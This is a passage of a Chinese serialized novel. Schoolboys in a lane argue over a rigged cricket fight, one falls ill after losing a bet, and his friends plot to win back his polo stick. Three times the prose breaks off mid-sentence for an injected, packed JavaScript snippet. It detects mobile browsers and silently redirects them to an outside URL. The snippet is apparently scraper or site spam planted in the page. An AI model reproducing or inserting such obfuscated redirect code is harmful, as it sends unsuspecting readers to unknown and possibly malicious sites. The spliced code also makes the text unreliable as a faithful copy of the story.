义渊斋的斋长是个十一岁的少年，长得身高体壮，性格却挺憨厚，因着谢暎是现在斋里年纪最小的一个，所以便主动地将他安排到了自己旁边。 其他人也颇热情地与谢暎寒暄，在得知他父亲生前是举人的时候，不由纷纷流露出了崇色，瞬间将谢父放在了仅次于沈约父亲之下的地位上。 “难怪你读书也这么厉害。”斋长由衷地佩服道。 谢暎谦虚地道：“只是爹爹给我启蒙较早些。” “那也不是谁都能这么适合读书的。”有个同窗大咧咧地说道，“你看我们斋长，明年就不打算升府学了，要回家去学做买卖。” 斋长也不觉得有什么，乐呵呵地对众人道：“到时你们来光顾就便宜些。” 其他人便纷纷捧场说肯定要去。 姚二郎却有点不服气，悄声对旁边的沈约说道：“也就是个糖霜户，至于那么大口气嘛……我大哥哥比他行多了，我也没到处吹呢。” 沈约觉得姚二郎这话说得不友善，他自知不好去指点什么，但也不想附和对方去说别人的小话，只佯作无察地说道：“但你们家也不卖糖。” 姚二郎一愣，一时竟无言以对。 *** 到了申时下学的时候，沈约主动招呼谢暎一起乘自家马车回去。 谢暎以为他忘了，便提醒道：“善之兄不是让我们等着他么？” 姚二郎也凑过来道：“你不去瞧瞧？万一那袁四郎再胡说八道呢，别又和蒋大郎闹起来。” 沈约本不想去掺和蒋修和袁四郎的那点子没什么意义的争强斗胜，有这时间他不如回去多看几页书，但被姚二郎这么一说，也想起来袁四郎那张嘴不靠谱。今日之争想必多是由于之前袁四郎在他们手里吃了亏，所以才想要从蒋修那里再找补回来，万一真有个什么，那两人谁比谁的嘴更不饶人还真不好说。 一念及此，他只好也改了主意，点头道：“那走吧。” 三人方出了斋堂往后院行去，不多时就瞧见了一群人正围站在松树下，从阵阵略显分明的助威声中，谢暎已听出来蒋修和那袁四郎的支持者大约一半一半。 他们才走近，蒋修身边的小厮初一便瞧见了，于是忙腾出位置让了他们三人站进来。 蒋修此时却无暇回顾，正皱着眉全神贯注地在和对面人“斗法”。 谢暎看了看他的神色，隐约感到似是有些不妙，于是又顺着瞧了眼对面的袁四郎，果见对方脸上满是兴奋之色，然后目光落在两人中间的那方大土罐子里，恰正看到蒋修那只“血将军”被另一只通身黢黑的蟋蟀压着脑袋给咬了一口。 随着血将军缩退回到了边角，任凭蒋修如何用草驱赶也不再前进，这一轮他也就此败下了阵来。 蒋修气恼地将草叶往手边一摔，沉着脸骂道：“软骨头！” 袁四郎家里头开了间像生花铺，或是因为这个原因，他的穿着打扮较之其他同窗也更鲜艳，此时他的帽子旁边插了朵用细绢做的芍药，正随着他扬头大笑的动作如生花般轻轻颤动着。 “愿赌认输。”袁四郎笑嘻嘻朝蒋修伸出了手。 蒋修看了他一眼，伸手从小厮初一那里拿过自己的球杖抛过去，口中道：“最后一盘。” 袁四郎如愿赢到了自己想要的东西，美滋滋地摸了两把套在球杖外面的锦袋，瞧着上头精美的纹饰和用草书字体绣着的“蒋”字，故意道：“乖乖，以后你就要跟着我姓啦！”然后又冲着蒋修道，“三局两胜，你东西都输给我了。” 谢暎几个这才知道原来这么短的时间蒋修——或者说蒋修那只蛐蛐儿就已经输掉了两回。 三人皆颇感讶异。 蒋修被袁四郎这番挑衅的态度搞得很有些火大，那球杖是他心爱之物自不必说，关键是对方旁的不要偏要这样，这明摆着就是为了打他的脸。他也万万没有想到，明明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529270|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在家里头瞧着“骁勇善战”的血将军会这么不禁揍，更没想到袁四郎那只蟋蟀会这么猛，几下就把血将军给揍得没了斗心。 输不要紧，关键是输得这么丢脸他就很不能忍了。 蒋修简直恨不得自己能亲身上阵。 “第三盘比完，”他直接说道，“我这里随便你再要什么。” 沈约上前半步轻按住他的肩膀，低声提醒道：“善之，别闹了。” 蒋修头也不回地拨开了他的手，直对着袁四郎道：“事不过三，输赢也只这一盘，绝不纠缠。我输了随你再要我身上什么，你输了就把东西还我。” 袁四郎似是考虑着在他身上打量了一圈，末了，揶揄道：“你身上的玩意儿虽然瞧着不错，但我也不是太稀罕，干脆你若输了就直接自己脱了外衣在学堂里跑一圈吧。” 沈约和姚二郎俱是一怔，姚二郎更是直接上前来蹲身拉了把蒋修，说道：“你别理他，这天气若是着了凉怎么办？你的身子……” 蒋修最烦听别人提这个，转头便瞪了他一眼。 沈约见状不免觉得有些头疼，若没有姚二郎这句还好，蒋修可能还会犹豫下值不值得那么做，但姚二当着众人这么一多嘴，这下怕是再劝也无用了。 他只能皱着眉，转而对袁四郎道：“不过一场游戏，别弄得这样过分。” 袁四郎却冲他们做了个鬼脸：“又不是我要比的，你让蒋大郎认输就是啊。” 沈约还没说话，身畔便已传来了蒋修斩钉截铁的声音：“行。” 沈约无奈地看了他一眼，自知再说也无用，索性就不再说了。 谢暎沉吟须臾，不动声色地朝站在蒋修身边的姚二郎靠近了些。 蒋修拿起自己的蛐蛐儿罐，正要打开重新将血将军投入土罐中，谁知手肘却突然被人从后面给撞了一下，险些让他脱手将蛐蛐儿罐甩出去。 好在他手脚伶俐，竟及时倾身给稳住了。 蒋修下意识转头看去，被他盯上的姚二郎连忙摆手：“我也是被撞的！” 他可没那么大胆子去坏蒋修的事，这关节岂不等于摸老虎屁股么？为了撇清祸首关系，他也立刻转头看向身后—— 只见谢暎面露歉意地站在那里，看着蒋修说道：“抱歉，我脚底滑了一下。” 蒋修见状也就没说什么，只道了声“没事”，等他再转回头去时，袁四郎已经先把蛐蛐儿放到了土罐里。 “小心些啊，可别吓地把你家将军都丢了。”袁四郎一边用手里的草叶撩着自己的蛐蛐儿，一边语带挑衅地调侃道。 他身后几个同窗也附和地笑起来。 蒋修皱着眉，二话不说地将血将军放了进去，这一下不经意力道大了些，正好将血将军掉在了袁四郎那只蟋蟀跟前，还恰好碰到了他手里那根草叶。 袁四郎倏地抽回了手，急道：“蒋大郎你偷袭！” 这本不是什么大事，蒋修有些意外于他一惊一乍的反应，莫名其妙之余也倍感不爽，当即怼道：“狗屁，我都还没撩呢，你瞎嚷嚷什么。”说完，自己才顺手又去扯了根叶子。 沈约和姚二郎都有些紧张地随着他的动作朝土罐中看去。 谢暎则看了眼好似微松了口气的袁四郎，然后，若有所思地将目光落在了对方指间的那条草叶上。 15. 心火 ——“霸王！霸王！” ——“血将军！血将军！” 随着第三轮斗赛开始，周遭声浪亦再次此起彼伏起来，眼前的情景几乎就是谢暎他们三个之前寻过来时的重现，就连那土罐子里的赛况也几无二致。 袁四郎的那只蟋蟀异常凶猛，咬地蒋修的“血将军”可谓是节节败退，连还嘴的机会都没有，没几下就偃旗息鼓了。 “哦——蒋大郎你输啦！”袁四郎高兴地带头嚷着。 “你叫我声哥哥，我就放你一回。”他下颔微扬，自觉大度地说着。 蒋修毫不犹豫地回了一个字：“滚。” 然后，他站起身，二话不说地就开始解起了外头穿着的夹袄。 姚二郎拉了他一把：“你还真脱啊？咱换个东西给他不就得了，用得着这么较真么？”说着还肘撞了旁边的沈约一下，“你也说句啊。” 沈约默然须臾，却道：“一言既出，驷马难追。” 姚二郎被他堵住，还没来得及反应，蒋修已兀自麻利地将袄子脱下来塞到了小厮初一的手上。 今日没有太阳，阴天里的风有些微刺骨，蒋修刚解开衣服其实就忍不住打了个寒颤，但他要强地没有表现出来，嘴里并不多说一句，提步便跑了出去。 袁四郎正瞧得兴起得意，就忽听得沈约说道：“我如果是你，现在就该先溜回家去了。” “为什么？”袁四郎有些莫名其妙，“你们照金巷的输不起啊？” 沈约看了他一眼，没说话。 谢暎语气平平地接了句：“你们先前闹得那般阵仗，又非要善之这样在学堂里跑一圈，便是原该两人受责的，现在也只轮到一人头上了。” 袁四郎一愣，这才后知后觉意识到了什么，瞬间无心再看蒋修的笑话，丢下手里的草叶，合上蛐蛐儿罐便带头领着与他要好的几个脚底抹油地跑了。 谢暎与沈约对视了一眼，后者对蒋修的小厮初一道：“快把衣服给他拿去吧，就说袁四郎已经跑了。” 初一应了声，忙撒脚朝蒋修跑走的方向追了过去。 姚二郎恍然大悟地走上来，往沈约肩上碰了一拳：“好啊你沈二郎，我说你先前怎么不帮着劝呢，原来是打的这个主意。” 沈约侧开身，皱了皱眉，方道：“我没打什么主意，原是善之自己应的赌约，本就该让他自己晓得教训。” 姚二郎最不喜欢他这讲规矩的样子，好像显得他们都多不君子一样。他有时也觉得自己兄长说得挺对，沈约的父亲虽是进士及第，但也不过就一个主簿，可沈家的派头却好像是照金巷里的老大一样，好似别人的聪明不及他们，修养不及他们，样样都不及他们一般。 可那样了不得的沈家，不还是要做买卖，要同蒋家还有他们姚家交好么？ 更何况现在又来了个谢暎，人家不也是破格入的义渊斋？论起聪明也不独只有他们沈家的吧。 想到这里，姚二郎便自然而然地转了头去寻谢暎，却见对方刚像是从地上捡了个什么东西起来。 “谢元郎，”姚二郎唤他道，“你做什么呢？” 谢暎回过身，神色如常地回道：“没什么，东西掉了。” 姚二郎本就是随口一问，见状也就没有太当回事，只故意问了句：“你先前怎地也不开口劝蒋大郎两句？” 谢暎道：“我不知情况，见你们都觉为难，更不好贸然开口。” 姚二郎顿时有了种被人理解的释然，点头叹道：“你不知道，他那个人就是这副脾气，他们兄妹两个都是硬性子。”然后又想起什么，笑了笑，“不过娇娇还是要比他好哄些。” 谢暎看了他一眼，语若无意地说道：“你说蒋小娘子？我尚不知她小名。” 姚二郎一顿，这才突地反应过来这是在外头，不比巷中他们几个的交往无束，若让旁人听见他在外面提着蒋娇娇的名字又说她好哄，只怕是少不得要惹些事。 袁四郎拿蒋修和沈小娘子调侃的事就在近前呢，他除非是当真欠打还差不多。 沈约自然也听出了谢暎的意思。他虽不太把姚二郎这话当回事——主要是因大家从小认识，比起他们，姚二郎也确实更喜欢围着蒋娇娇转，他自动将之归结于蒋娇娇并非寻常安分小娘子之故。但谢暎这样稳重的行事作风却颇合他的心意。 果然，他想，还是要他和谢暎这样的出身才更合得来。 “回来了。”沈约看见了从拐角处大步跑出的蒋修，出声提醒道。 其他两人亦循他视线看去。 “袁四真跑得那么快？”蒋修跑到近前停住，呼吸尚未平复下来，便已哈哈笑道，“他也太怂了吧！” 谢、沈、姚三人：“……” 不知道的人还以为先前是你赢了呢。 沈约道：“回去吧，不早了。” 蒋修心情愉悦了，回答也爽快，干脆地“嗯”了声，然后问谢暎：“要不你就在我家吃饭吧？不然温书还要来回跑。” 沈约和姚二郎这才知道原来谢暎做了蒋修的学伴。 “你怎么没邀我？”姚二郎诧异之余也大感不平。 谁知蒋修此时倒清明，直言不讳地道：“同你在一起哪有‘学’字，你不妨碍我才好。” 姚二郎被他堵住，于是又扯了沈约出来：“那你也没和沈二郎一起学啊。” 蒋修依然直言不讳地道：“那就得是我妨碍他了。” 姚二郎：“……你行。” 沈约其实压根儿就没想过这个问题，他们家的书斋既不可能让蒋修他们进来胡闹，而他也不可能去别人家里陪学。 比起与他人做学伴，他所受父兄教诲才是真正受益匪浅。 故而他也并未把这事放在心上，几人打过招呼后，便出了学堂，坐上各家的马车朝照金巷行去。 刚走了没多远，蒋修就忽地掩袖连打了两个喷嚏。 “你没事吧？”谢暎关心道。 蒋修摆摆手，吸了吸鼻子，说道：“没事。” 谢暎见他如此，下意识伸手想从怀里拿出什么来，然而顿了顿，却终是没有动作。 *** 谢暎直接回了家。 谢夫子的寝屋里点着灯，他进去的时候，炕上早已支好了饭几，上面摆着碟莼菜笋和一道豆油煎豆腐，灯影下正冒着丝丝热气。 “叔祖，”他恭正地礼道，“我回来了。” “来快坐下吃饭。”谢夫子笑呵呵地招呼着，说道，“这家店是我常光顾的，你也尝尝味道如何，往后你我两个都不擅长做饭的可是要与他们长打交道的。” 谢暎也不意外对方买的是外食，前两天他就已经看出来了，从叔祖家里的炊具都用得不多，而且两人在家里那几顿不是汤饼就是粥，他已经差不多暗暗下了决心要去学两个菜了。 谢夫子却像是看出来他在想什么，直截了当地说道：“你别算那账，我一个人这么多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529271|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年也是这样过来的，同你说，这样还更省时省钱，有那时间我多的扇面都画出来了。” 他早先便是这样，上午若无事就睡到自然醒，然后外头去优哉游哉吃完一顿午饭，接着就溜达去了自己接活儿的地方——他并不在固定的铺子里头当工，既受不了那个被人支使的气，也觉得不够自由，似现在这样什么画扇面、补画或是修书，这些自己擅长的都能接回来做才是最好。而到了晚饭时间，约好的店家就会直接派人送饭菜上门，压根用不着他操心吃饭的事情。 这两天他因着家里的事耽误了一下，今日下午出门去才又接了一单子活儿，心情也挺不错。 谢暎已差不多知道他是什么个性，于是也不多说，只另想起什么，然后佯作好奇地问道：“叔祖，我今日回来时见人在路边斗蟋蟀，斗了三回，次次都是一个人赢。” 谢夫子不以为意地道：“那是他那只蛐蛐儿更厉害些吧。你没瞧见那街市上有的能人卖蛐蛐儿甚至能挣百贯，”又嗤笑了一声，续道，“也就是那些纨绔子弟又傻钱又多的才闲着没事追捧一只虫子。” 谢暎默然了须臾。 “但我看那个赢的人有些不同，”他说，“人家斗一轮便随手换条叶子，他却一直只用那一条，明明已经缺了口也不换。而且人家的蛐蛐儿不小心落到他那条叶子前，他就很是紧张。” 谢夫子听到此处才浮现了些许认真之色，说道：“所以说十赌九输，你以为自己能赢，实则不知人家早已有手段在等着你去自投罗网，那条草叶上必定有猫腻。”又神色肃然地看着他，“你以后要将心思用在正道上，不可与人胡混。” 谢暎恭敬地表示受教。 谢夫子这才满意地点点头，然后伸箸夹了一块豆腐放入了他的碗中。 *** 吃罢晚饭收拾过之后，谢暎便出门去了蒋家。 不想他在前院书室等了一会儿，来的却是得到消息的蒋娇娇。 “我大哥哥病了。”她耷拉着眉眼，语气间既担心又似有些生气地道，“他又不肯理人，我给他送点心他还嫌我烦。” 谢暎还未从诧异中反应过来，便乍见她这副难过的样子，不由顿感蒋修干了件伤人的事，于是安慰道：“他也不是嫌你烦，只是自己生了病心情不好。” 蒋娇娇委屈道：“可又不是我让冷风吹着他的，他好没理！” 谢暎想起姚二郎说她好哄，忖了忖，又放轻了些语气，说道：“那便算他欠了你一回，我帮你记着。” 蒋娇娇以前向其他人抱怨她哥的时候，得到的回应要么就是“你大哥哥身体不好你要让着”，要么就是似姚二郎那样一味顺着她说“他确实过分”之类数落的话，前者她有时听着也觉委屈，后者她听多了又不喜欢人家说她哥不好。 但似谢暎这样回答她，她却觉得很公平，也觉得他向着自己，霎时便觉得心情好了许多。 她也没有多说什么，只点了点头。 谢暎见状，就知道她心里还是关心蒋修多些，明白这就是“哄好了”，于是方转回了话题，问道：“大夫怎么说的，严重么？” “说是受了风寒又冲了心火，所以才发了热。”蒋娇娇认真转述道，“如果大哥哥老实喝药静养，注意着别再吹冷风，就不严重。” 她记得倒是很清楚。 谢暎看着她微微笑了笑，说道：“那有劳你悄悄去问他声，方不方便见我一面，就说……我能试试帮他消火。” 16. 联手 蒋修的小厮初一很快就跑来书室迎了谢暎过去。 他进屋的时候，正看到蒋娇娇坐在床边的圆墩上，伸着手在往蒋修的嘴里塞山糖乌李，口中还道：“你吃一个就不苦了。” 蒋修道：“跟你说了我用不着这个。”语气听着似有些不耐烦，但却还是张了嘴。 正此时，他恰好瞥见初一领着谢暎走了进来，于是忙三两口嚼完果肉咽了下去，呼道：“暎哥儿快来！”然后赶蒋娇娇，“你怎么还不走？” 蒋娇娇稳稳坐在她的圆墩子上，冲着她哥扬下巴：“我不，我就要听。”又道，“你要赶我的话我就去把爹爹和娘都叫回来。” 蒋修：“……” 他好不容易才把那些大人都给忽悠走了，怎么能被蒋娇娇给抽了底？蒋修只好认了，并道：“那你保证今天听到的事不许对他们说一个字，不然……”他想了想，正思考着能拿什么威胁到他妹的时候，目光不经意落到谢暎身上，顿时急中生智地道，“不然你肯定以后就见不到谢元郎了，因为爹爹会怪他给我出主意。” 蒋娇娇一愣，然后立刻道：“我不说。” 谢暎知道蒋修是随口说来忽悠她的，但其实对方说的这个可能的结果，他在来之前也不是没有想过。 犹豫肯定是犹豫过的。他和蒋修、和沈约还有和姚二郎都不同，他甚至连管闲事的资格都没有，倘真因此得罪了蒋家的长辈，说不定人家就会觉得他不仅不能带着蒋修上进，反而在“助纣为虐”这件事上颇有天赋，就此再不欢迎他了。 可他又想起蒋娇娇和蒋修对他的关顾，想起蒋家姑姑说少时玩伴，希望他们能是一辈子的缘分。想起这些，他又觉得自己辜负了什么，心中难得安然。 算了。他索性想，反正自己的处境也再坏不到哪里去了。 于是他看着蒋修那张略显病色的脸，斟酌地开了口：“我先同你说件事，但你可别急急闹着要去算账。” 蒋修已经猜到了：“关于袁四的？” 谢暎点点头，然后从怀里拿出那条被他用手巾包着的草叶递了过去，说道：“其实今日你是上了他的套。” 蒋娇娇此时听着谢暎说起，才终于知道了自己哥哥是为什么生的病。先前因蒋修的刻意隐瞒，所有人都以为他真是因和别人打球输了气不过，所以解了袄子发泄才不小心着的凉，她爹爹还斥了大哥哥一句“少心胸”。 哪知却竟是跟袁四郎斗蟋蟀的缘故，而且还是被人家给坑了的！ 蒋娇娇也顾不上嘲笑她哥了，当即气道：“他好不要脸！” 谢暎正要开口劝蒋修先别急，哪知对方回过神来后却反而是出乎他意料的平静。 “我就说血将军不该这么废。那这么说，我也可以以其人之道还治其人之身了？”蒋修琢磨道，“那球杖我也能赢回来啊。” 谢暎不料他此时倒全无意气之争的意思，反而想法颇积极，于是不由对蒋修又刮目相看了两分，点头赞同地道：“我也是这个意思。” 蒋娇娇却觉得只是把球杖拿回来还不够解气，便道：“还要让他以后再不敢这样！” 谢暎转头看向她，迎着蒋娇娇气鼓鼓又充满期许的目光，他沉吟了须臾，说道：“试试吧。” *** 翌日，谢暎便独自去了学堂，并主动帮蒋修向其所在的尚志斋报了病假。尚志斋的教谕得知这个消息后，很快就把袁四郎给叫了去谈话。 “善之真的病了？”沈约私下问谢暎。 “嗯，”谢暎回道，“昨日回去没多久就发了热，大夫说需好好静养两天。” “不听好人言，这下袁四郎可把自己给作着了。”姚二郎幸灾乐祸地道，“教谕肯定会罚他，修哥儿正好躺在家里瞧个热闹。” 谢暎道：“他躺着嫌无聊，让我同你说晚上过去陪他会儿。” 姚二郎没想到自己竟然也有被人惦记的时候，而且还没有搭着沈约，不免有些受宠若惊，当即高兴地应道：“成，回头咱们一起过去。”然后又主动招呼沈约，“你也一起？” 沈约本来也是打算要去蒋家探望一下的，于是点了点头。 中午间休时，袁四郎别别扭扭地过来找到了沈约。 “看在你爹爹和我二表姨夫都是县官的份上，有劳你帮我给蒋大郎带句话吧。”他说，“昨日的事是我做得过分了，我也不晓得他当真吹下风就病了，早知这样我肯定不会让他脱衣服。” 姚二郎在旁边听着，撇了撇嘴。 沈约没有什么特别的表示，只语气如常地道：“我会帮你转达，但不保证他会原谅你。” 袁四郎欲言又止地看了看他，末了，终是无奈地去了。 “你这话说得好。”姚二郎对沈约赞道，“我看他就是被教谕训了，又怕蒋大郎回头来同他算账，这才暂时认了怂。什么不晓得，又不是才认识一两天，原该知道修哥以前身体不好。” 沈约提醒地看了他一眼：“你也别再提了，原该晓得善之不喜欢听别人说他体弱。” 姚二郎一愣，这才后知后觉地明白了沈约是在说他昨日有火上浇油的“功劳”。 他顿时觉得有些心虚，随即又觉得有点尴尬，扯了扯唇角，没再说什么。 谢暎的目光落在沈约身上，若有所思。 于是下学之后，谢暎和姚二郎便一起直接去了蒋家探望，而沈约则先回了趟家里。 姚二郎一见到蒋修，就先把袁四郎迫于压力要向他道歉的事说了。 “你说他是不是装相？”姚二郎道，“好像我们家里没有官户的，就不配听他说这些一样。” 蒋修倒没把这话太放在心上，但他也并不打算得了句不痛不痒的间接道歉就算了，于是他抬眸与谢暎心照不宣地对视了一眼，然后径直对姚二郎道：“你既然也烦他，那不如咱们就联起手来教训他一回？” 姚二郎一愣：“我？”他心里头虽巴不得看场袁四郎的热闹，但要他真去掺和一手却还是不敢，于是尴尬地婉拒道，“我不行，会拖你们后腿。” “又不要你亲自上阵。”蒋修道，“只需你帮我动个嘴皮子，再保守着秘密就成。” 姚二郎闻言，不由地默默权衡着。 蒋修见状，多少觉得他有些磨叽，于是道：“一点小事你也犹犹豫豫，难怪娇娇不喜欢同你玩儿。行不行给个准话就是，我又不是非得找你帮手。” 姚二郎一听，顿时一股子热气从心底直冲头顶，当即道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529272|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“我哪里犹豫了？我这是怕你又像昨天那样发疯，我劝你一阵还要被责怪。”又道，“你说吧，要我帮什么？” 蒋修这才一笑，神神秘秘地道：“我思来想去，你大哥哥方是最合适的人了……”然后如此这般地把自己的打算说了一番。 姚二郎听得一愣一愣的，还未来得及反应，便听见谢暎道：“这件事，可能还需要子信兄也帮一帮。” 蒋修意外道：“我们不是说好不同他讲么？” 昨晚商量计划的时候，他和谢暎，哦，还有蒋娇娇，都是一致认同别走漏风声给沈约晓得，毕竟那家伙最不喜欢掺和这些，而且又讲规矩，保不齐还没行事就被他给卖了。 但谢暎此时却改变了想法，说道：“因为我今日看袁四郎同他讲话时的样子，觉得可能子信兄说的话于他才更可信。但不知道子信兄愿不愿意帮忙。” 姚二郎定定看着谢暎：“这事……你早就晓得了？” 谢暎委婉地道：“善之兄也是昨晚才有这个打算的。” 三人正说着话，沈约便来了。 蒋修素来有行动力，谢暎的话让他觉得有道理，于是接受之后即立刻做出了决定。 “我给你带了些干果，无味时能润润口。”沈约一边随手将东西递给了初一，一边朝蒋修打量过去，“今日可觉得好些了么？” 说完，他觉得屋里的气氛好像有点不对，这三人怎么尽盯着自己？ “？”他流露出了疑惑的目光。 蒋修冲他意味深邃地笑了笑，说道：“沈二，帮我散心火这事就差你一个了，来不？” *** 姚二郎心事重重地离开了蒋家，正将要走到自家门前时，忽听见谢暎在身后叫自己。 两人默契地走到了榕树底下去说话。 “你是不是有什么难处？”谢暎问他。 姚二郎此时心里本就悬吊着，乍然得到小伙伴这样一句关心，当即忍不住了，直接地道：“我的确是有些担心我大哥哥不同意，这个事情本又不是什么见得光的，也不知蒋大郎哪里来的自信觉得我兄长会赞同。” 谢暎沉吟了几息，说道：“我也明白你为难。但大家既然是朋友，善之兄此时又因他人算计吃了亏正在气头上，你若置身事外，只怕他会很不高兴。” 姚二郎觉得自己心里苦啊！他可不就是怕蒋修不高兴么？而且自己要是不参与，娇娇肯定也会生气。 其他人……大约也会瞧不起他吧？ 谢暎看他神色，顿了顿，又委婉地道：“但我觉得你只要尽了心，这些事我们也是能劝他想通的。所以，若你大哥哥那里实在不行，你就同他说，你再试试和子信兄换一换位置，请子信兄找他兄长想想办法，这样也算是每个人都出过力了，但还请他只当不知道此事，替你保守秘密。” 姚二郎愣了愣，他全然没想到还能有这种办法，谢暎明明还比他小了两岁，居然却可以考虑到这么多，他不由对其有些感激，也有点羡慕人家的聪明。 谢暎又叮嘱他：“但你一定要先同他把事情说了，不然以后万一善之兄知道你未曾使过力，定会怪你欺瞒。” 姚二郎点点头，感动地道：“多谢元郎为我着想。” 17. 算计 夜里，姚二郎徘徊到了他大哥哥的院子外头，望着屋子里的灯影，他犹豫了片刻，然后鼓起一口气，举步走了进去。 姚大郎正在灯下学习比对面料，见弟弟来了也没太当回事，眼也未抬地随口问了句：“干嘛？” 姚二郎顿了顿，试探地开了口：“蒋大郎说，他想请大哥哥你帮个忙。” 照蒋修等人的想法，姚大郎是这巷子里除了沈缙之外年纪最长的孩子，想要在尽量不惊动大人们的情况下办事，有他出头自然是最合适的。且姚大郎出身商户，现在又已经跟着学做了些时日的生意，在外头能找到的人脉和行事的便利性估计也是他们远不能及的。 姚大郎听了弟弟转述的蒋修与袁四郎这番恩怨的来龙去脉，又得知蒋修希望自己帮什么忙之后，不免大感意外。 “他倒也有指望着别人帮忙的时候？”姚大郎觉得挺新鲜，也不由感到有些许得意，但心里得意归得意，这些小孩子的是非他却并不想插手。他又不傻，这事万一漏了，到时无论从哪个方面来说肯定最后背黑锅的都是他。 于是他拒绝了，还唬着脸教训起姚二郎：“你没事掺和这些做什么？就不能学学沈二郎，别陪着蒋大郎去折腾。” 姚二郎忙道：“这次沈二也答应了！” 姚大郎微怔，意外道：“你说什么？” 姚二郎心里有点慌也有点怕，既慌兄长不肯答应，又怕自己被家里教训，于是开口时心绪难免起伏，急急地道：“蒋大郎让沈二到时候也搭把手，沈二犹豫了一下就答应了，说让袁四郎受一次教训也好，免得以后和蒋大又闹起来不消停。大哥哥，爹爹原先便让咱们要和蒋家郎娘好生相处的，这回若是只我们置身事外，只怕要被蒋家和沈家都瞧不起了。” 姚大郎有些犹豫。 姚二郎也不敢劝深了，想起谢暎教的方法，便小心地道：“但若是你实在没办法，那我就去同沈二换换，让他去找找他大哥哥试试。这样也算是咱们家一人出了一个帮手的，他们肯定也没什么话说。只是……还请大哥哥你权当不知道此事，替我们保密。” 姚大郎一听这话，心头顿感不爽。 哦，因为他不行，所以不得不去找沈大来援手？ “呵，”他凉凉牵了下唇角，淡道，“你们以为沈大郎会读书就什么都行了？这事只怕他还偏不如我，不是我夸海口，他定然什么忙都帮不上你们。” 姚二郎就紧张地盯着他。 “成。”须臾后，姚大郎爽快地回道，“你同蒋大郎说，这戏台子我来帮他搭。” *** 蒋修退了热之后又顺理成章多休息了两天，直到第四日里才精神抖擞地去了学堂。 袁四郎见着他便笑嘻嘻地迎了上来：“蒋大，你真不生气了吧？” 蒋修看了他一眼，不以为然地说道：“是我自己输了，怪你做什么？我可没那么输不起。再说教谕都知道了，我也犯不上再同你闹。” 袁四郎之前听沈约转达说蒋修表了态不会再计较——这确实是让他在教谕那里过了一关，但他当时其实是觉得很有些意外的，照理说这么好的机会，蒋修多少也会拿拿架子，让他能被教谕多罚点是点，怎会就这样轻易算了？ 没想到蒋修还真是就这么算了。 直到此刻，他提着的心才真正落回了原处。其实曾有那么一瞬间他也想过要不要把那根球杖还给蒋修算了，多一事不如少一事嘛，可他摸着那根自己垂涎已久的杆子，还真是挺舍不得。 蒋修那根球杖做得精致好看是其次，关键是他总觉得那玩意儿可能有什么出众之处，所以这蒋大郎打球才那么厉害。 再说了，上回蒋修当着那么多人面用这杆子给了他一下，他要是因为对方病了一场就赶紧地还了，那面子岂不是又丢回去了？ 所以他就装着忘了这事，坚丨挺着没还。 “你够意思，”袁四郎就打算拿别的对他示好，“明天我给你带霍家从食的点心吃！” 蒋修拍开他搭在自己肩上的手，说道：“谁稀罕那个。”说罢，顿了顿，然后勾勾手指示意对方倾身过来，低声商量道，“要不你带着你那只‘霸王’陪我出去玩一回？” 袁四郎愣了一下，本能地一阵紧张，下意识问道：“玩什么？” 蒋修道：“昨天沈二郎他们来探望我的时候聊起些闲篇儿，听他家厮儿说前日里有个少年跑到金梁桥那附近摆了个暗摊儿，什么也不卖，只同人斗蛐蛐儿，道若他输了就把手里头那只祖上传下来的金蝉给人，但来斗者只需每回付十文钱，输了走人便是。”他说着，语气间还带了些新奇，“听说一日下来那摊子上少说也赚了有七八百文。” “金蝉？”袁四郎眼里头亮了亮，又半信半疑地道，“真的假的？他手里头既有这个，干啥不去换些钱用？也不怕真有人把他给斗输了？” “所以你就不及人家有头脑了吧。”蒋修故意嘲了他一句，方又续道，“金子他自己又用不成。凭他一个寡小子，找人换钱也不是随便就有人接手的，拿去铺子里头换恐怕又要被压价，还不如每日里拿来当个饵，净等着人家送钱来给他呢。” 袁四郎听着就来了点心气：“他就真觉得自己能战无不胜？” “可能吧，”蒋修随意地道，“所以你就把你那‘霸王’带着陪我去会会他，要是赢了那蝉子就给你，你把球杖还我就成。哦，那十文钱一盘的斗资也算我的。” 袁四郎很是心动，但又舍不得把球杖还给他，于是试图讨价还价地道：“那球杖你是正经输给我的，哪有再要回去的道理，再说这蝉子就算赢了那也是我帮你赢的啊！” 蒋修看他还敢理直气壮地说出“正经”二字，心里不免觉得他委实有点不要脸，但面上却只索性道：“我不可能一头都不占吧？要不就我拿蝉子，那球杖你就留着。若还不干就算了，我再去找别人就是。” 袁四郎默默合计了一番，最后还是觉得两头都舍不得， 